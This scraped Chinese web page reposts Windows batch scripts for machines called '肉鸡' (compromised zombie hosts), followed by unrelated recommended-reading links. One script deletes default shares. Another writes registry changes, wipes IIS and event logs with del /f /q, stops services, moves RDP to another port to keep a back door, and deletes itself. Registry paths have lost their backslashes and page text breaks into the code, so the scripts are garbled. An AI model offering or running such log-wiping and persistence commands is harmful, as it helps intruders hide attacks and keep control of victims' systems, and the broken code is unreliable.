echo.
echo ---------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
【windows常用网络命令大全 分享Windows常用的批处理命令大全】echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance , to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: , Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: , you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ---------
goto :EOF
:END
echo.
echo ---------
echo.
echo OK , delshare.bat has deleted all the share you assigned.
echo.Any questions , feel free to mail toEx4rch@hotmail.com.
echo
echo.
echo ---------
echo.
:EOF
echo end of the batch file
--------- cut here then save as .bat or .cmd file ---------
2、全面加固系统(给肉鸡打补丁)的批处理文件
--------- cut here then save as .bat or .cmd file ---------
@echo Windows Registry Editor Version 5.00 》patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] 》》patch.dll
@echo ”AutoShareServer“=dword:00000000 》》patch.dll
@echo ”AutoShareWks“=dword:00000000 》》patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] 》》patch.dll
@echo ”restrictanonymous“=dword:00000001 》》patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] 》》patch.dll
@echo ”SMBDeviceEnabled“=dword:00000000 》》patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] 》》patch.dll
@echo ”Start“=dword:00000004 》》patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] 》》patch.dll
@echo ”Start“=dword:00000004 》》patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] 》》patch.dll
@echo ”ShutdownWithoutLogon“=”0“ 》》patch.dll
@REM [禁止登录前关机]
@echo ”DontDisplayLastUserName“=”1“ 》》patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
--------- cut here then save as .bat or .cmd file ---------
下面命令是清除肉鸡所有日志 , 禁止一些危险的服务 , 并修改肉鸡的terminnal service留跳后路 。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched , Have fun.
@del patch.bat
@REM [禁止一些危险的服务 。]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] 》》patch.dll
@echo ”PortNumber“=dword:00002010 》》patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp 》》patch.dll
推荐阅读
- 如何添加本地打印机与共享网络上的打印机
- 蛇皮是什么意思网络用语
- 999什么意思网络流行语 999999什么意思网络流行语
- 槑是什么意思
- 养猪常用的中草药
- 欧派是什么意思
- 养猪场常用的疫苗
- 农村常用的养猪模式
- 坐火车流程 坐火车流程是什么
- 怎么设置个别短信加密 如何设置常用短信
